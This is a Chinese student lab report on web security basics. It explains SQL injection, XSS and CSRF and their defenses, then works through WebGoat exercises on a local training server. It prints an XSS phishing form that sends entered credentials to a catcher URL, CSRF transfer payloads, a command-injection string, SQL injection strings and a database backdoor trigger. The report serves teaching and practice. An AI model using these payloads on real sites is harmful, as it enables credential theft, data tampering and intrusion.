20155310 Exp9 Web安全基础实践
20155310 Exp9 Web安全基础实践
基础问题
SQL注入攻击原理,如何防御?
SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取;不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
应用的异常信息应该给出尽可能少的提示。
采取辅助软件或网站平台来检测sql注入。
XSS攻击的原理,如何防御?
攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
CSRF攻击原理,如何防御?
攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情
通过referer、token或者验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;避免全站通用的cookie,严格设置cookie的域。
实验过程
WebGoat
终端输入
java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat。
出现下图所示内容:

在浏览器地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码登陆。

XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
编写一个包含用户名、密码的前端代码:
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
在webgoat找到Cross-Site Scripting(XSS),打开Phishing with XSS

将代码输入到框中,点击search出现登录框:

输入用户名20155310,密码。

点击登录后跳出包含用户名和密码的弹框:

2、Stored XSS Attacks 存储型XSS攻击
打开Stored XSS Attacks,在Message框中输入
<script>alert("I am 20155310");</script>
提交

点击提交后弹出显示I am 20155310的对话框。攻击成功!

3、Reflected XSS Attacks 反射型XSS攻击
在code框中输入
<script>alert("I am 20155310");</script>

点击Purchase出现显示I am 20155310的对话框。攻击成功!

CSRF攻击
4、Cross Site Request Forgery(CSRF)
查看Parameters中的src和menu的值。

在Title中输入学号,Message中输入代码
<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

提交后生成链接。

点击链接查看用户操作的信息,攻击成功。

5、CSRF Prompt By-Pass
查看Parameters中的src和menu的值。在Title中输入学号,Message中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>


提交代码生成链接。

点击链接查看用户操作的信息,攻击成功。

SQL注入攻击
6、Command Injection
使用Firefox浏览器中的Firebug功能对源代码进行修改。在BackDoors.help旁边加上"& netstat -an & ipconfig":


在下拉菜单中能看到修改后的值

选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况

7、Numeric SQL Injection
选中Columbia,点Go,看到该城市的天气信息。

利用firebug,在任意一个值如101旁边加上or 1=1:

选中Columbia,点Go,可以看到所有天气数据:

8、Log Spoofing
在User Name文本框中输入
zy%0d%0aLogin Succeeded for username: admin(%0d是回车,%0a是换行符)
,点击登录,攻击成功。

9、String SQL Injection
在文本框中输入' or 1='1。点Go,所有用户信息被显示,攻击成功。

10、LAB:SQL Injection(Stage 1:String SQL Injection)
以用户Neville登录,在密码栏中输入' or 1='1进行SQL注入,注入前需对密码文本框的字符长度进行修改。

登录成功。

11、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
根据Stage1中的登录方法以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile。利用Firebug将ViewProfile的value值改为101 or 1=1 order by salary desc --。

查看到老板信息。

12、Database Backdoors
输入101得到用户信息。

输入注入语句:101; update employee set salary=10000,把该用户的工资涨到10000:

使用语句
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155310@163.com' WHERE userid = NEW.userid
创建一个后门,把表中所有的邮箱和用户ID都设为

13、Blind Numeric SQL Injection
输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin数值是否大于10000

经过不断尝试,慢慢缩小范围,最终可以确定pin的值在2300到2400之间。然后再尝试2300到2350或2350到2400,最后确定pin值为2364。

20155310 Exp9 Web安全基础实践的更多相关文章
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- 20155202《网络对抗》Exp9 web安全基础实践
20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...
- 20155204《网络对抗》Exp9 Web安全基础实践
20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...
- 20155210 Exp9 Web安全基础实践
Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155216 Exp9 Web安全基础实践
Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以 ...
- 20155220 Exp9 Web安全基础实践
Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...
随机推荐
- 《Spring实战》-- 'cvc-complex-type.2.4.c: The matching wildcard is strict, but no declaration can be found for element' 错误的解决办法
在Eclipse中新建了一个maven项目学习Spring,在 service.xml 中配置 Spring,想要学习'面向切面的Spring',service.xml 内容如下: <beans ...
- [原创]数据驱动决策:BI在零售业的数据化管理
无论是商业智能时代的应用建设,还是当下大数据时代的数据应用/数据产品建设,行业化.角色化与场景化,均是一个重要的趋势. 当下,许多企业逐步开始具备场景化思维,更为注重用户体验,业务运营更多的围绕用户的 ...
- SQLServer 学习笔记之超详细基础SQL语句 Part 12(The End)
Sqlserver 学习笔记 by:授客 QQ:1033553122 -----------------------接Part 11------------------- 现在,我们希望从 " ...
- [Android] 图片裁剪总结——自定义裁剪工具
上次弄完调用系统裁剪之后,我又试着做一个自定义的裁剪工具. 原文地址请保留http://www.cnblogs.com/rossoneri/p/3988405.html 老习惯,文章开始前还是先把我参 ...
- Prometheus Node_exporter 之 Memory Detail Vmstat Counters
Memory Detail Vmstat Counters 1. Memory Page Active type: GraphUnit: shortLabel: PagesActive_anon - ...
- 找回master库中被删除的系统表
接手的某个数据库实例中,master数据库中的所有系统表都被误删除掉了. 最直接影响就是一旦涉及到要查询这些系统表,就会出现错误. 例如,右键点击某个数据,查看属性时会出现如下图所示错误: 那么怎么找 ...
- MySQL复制 slave_exec_mode 参数IDEMPOTENT 说明
背景: 今天无意当中看到参数slave_exec_mode,从手册里的说明看出该参数和MySQL复制相关,是可以动态修改的变量,默认是STRICT模式(严格模式),可选值有IDEMPOTENT模式 ...
- Excel表设置加密
如果你是从事会计或者人事等数据敏感岗位时,有时手上的电子表格不想被其他人浏览或者增删时,可以给表设置一个密码,这样就安全了. 具体操作如下:(以2007版本为例) 01.把需要加密的文件另存为 02. ...
- [Hive_1] Hive 基本概念
Hive 系列01 Hive 简介 & Hive 应用场景 & Hive 与 Hadoop 的关系 & Hive 与传统数据库对比 1. Hive 简介 [ 官方介绍 ] Ap ...
- Dalvik指令备忘
跳转指令 if-eq vx, vy, 目标 如果vx == vy注2,跳转到目标.if-ne vx,vy, 目标 如果vx != vy注2,跳转到目标. if-lt vx,vy, 目标 如果vx &l ...